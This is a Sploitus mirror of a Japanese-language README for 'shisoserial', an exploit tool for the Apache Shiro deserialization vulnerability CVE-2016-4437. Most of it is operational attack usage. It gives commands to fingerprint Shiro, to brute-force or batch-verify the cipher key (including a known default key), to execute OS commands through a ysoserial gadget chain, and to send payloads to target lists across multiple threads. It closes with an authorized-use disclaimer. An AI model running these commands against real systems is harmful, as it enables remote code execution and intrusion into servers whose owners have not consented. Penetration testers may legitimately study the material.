Sploitus

Exploit for shisoserial

kitploit · 2026-09-07

Exploit Code

MARKDOWN123 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4NTH0NY1130-SHISOSERIAL
# shisoserial

英語ドキュメント

## これは何ですか?

Shiroのデシリアライゼーション脆弱性(CVE-2016-4437)に対する高速な悪用ツールです

## コントリビューター

4nth0ny @フライデーラボ

Issues/PRをお気軽にどうぞ

:)

## 環境

  * Python 3.x

  * JDK 1.8




## インストール

root@kitploit:~
    
    
    python3 -m pip install -r requirements.txt
    

`AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM'` または `No module named 'Crypto'` の場合

root@kitploit:~
    
    
    python3 -m pip uninstall crypto pycryptodome
    python3 -m pip install pycryptodome
    

## 使い方

root@kitploit:~
    
    
    usage: shisoserial.py [-h] --mode MODE --url  [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
    
    This is a simple tool to attack framework shiro with ysoserial
    
    optional arguments:
      -h, --help            show this help message and exit
      --mode MODE, -m MODE  check/crack/yso/echo/encode
      --url , -u            Target URL address or the file containing the target URL
      --type default:CBC, -t default:CBC
                            Cipher Type, GCM or CBC
      --data , -d           Using this parameter will make HTTP request with POST method
      --key , -k            Specify a Shiro Key or will use dictionary brute force cracking
      --gadget , -g         Specific Ysoserial Gadget
      --command default:whoami, -c default:whoami
                            Specific Execute Command
      --proxies , -p        Specific Proxy
      --ser , -s            Specific serialize file name
      --thread , -T         Specific the number of threads
    

## 例

### ターゲットがShiroフレームワークを使用しているか確認(デフォルトCBC暗号化を使用)

root@kitploit:~
    
    
    python3 shisoserial.py -m check -u http://127.0.0.1:8080
    

![](https://assets.kitploit.com/production/public/readmes/14753/5fc26527a285dd3723eaba06dae81a1838a67d2961508735fd197e8c590611a7.png)

### プロキシとCBC暗号化を使用してターゲットのShiroキーをブルートフォース

root@kitploit:~
    
    
    python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/
    

![](https://assets.kitploit.com/production/public/readmes/14753/d4b7cbd627a95130b4a896767b0049d20c5f66f25e1074458ecf5bd52c2686a1.jpg)

### CommonsCollectionsK1のガジェットチェーンを使用してコマンドを実行し、結果を取得

root@kitploit:~
    
    
    python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id
    

![](https://assets.kitploit.com/production/public/readmes/14753/d0e490ca4fd358f67466421b5d4552189eaed15d200418b1a160834c66204f44.png)

### POSTリクエストを使用して指定されたShiroキーを一括検証

root@kitploit:~
    
    
    python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1
    

![image-20211229223405240](https://assets.kitploit.com/production/public/readmes/14753/abeca99694a4a673c20802651fa2eab443399f184ea491b8c9638fae0d4bae74.jpg)

### シリアル化データファイルからペイロードを構築し、マルチスレッドで一括送信

root@kitploit:~
    
    
    python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4
    

![image-20211230181021173](https://assets.kitploit.com/production/public/readmes/14753/379503e3277c25ea9de19bc73b4d7f9a4269b33e1eaffc9542b81bdae18f4b9a.jpg)

## 免責事項

本ツールは、十分な合法的な許可を得た企業のセキュリティ構築においてのみ使用できます。本ツールを使用する際、ご自身のすべての行動が現地の法律や規制に準拠していることを確認してください。本ツールの使用中に違法行為があった場合、その結果はすべてご自身が負うものとし、本ツールのすべての開発者およびコントリビューターは一切の法的責任および関連責任を負いません。本契約のすべての条項を十分に読み、完全に理解し、承諾しない限り、本ツールをインストールおよび使用しないでください。本ツールを使用する行為、またはその他明示的または黙示的に本契約を承諾する行為をもって、本契約を読み、その拘束に同意したものとみなします。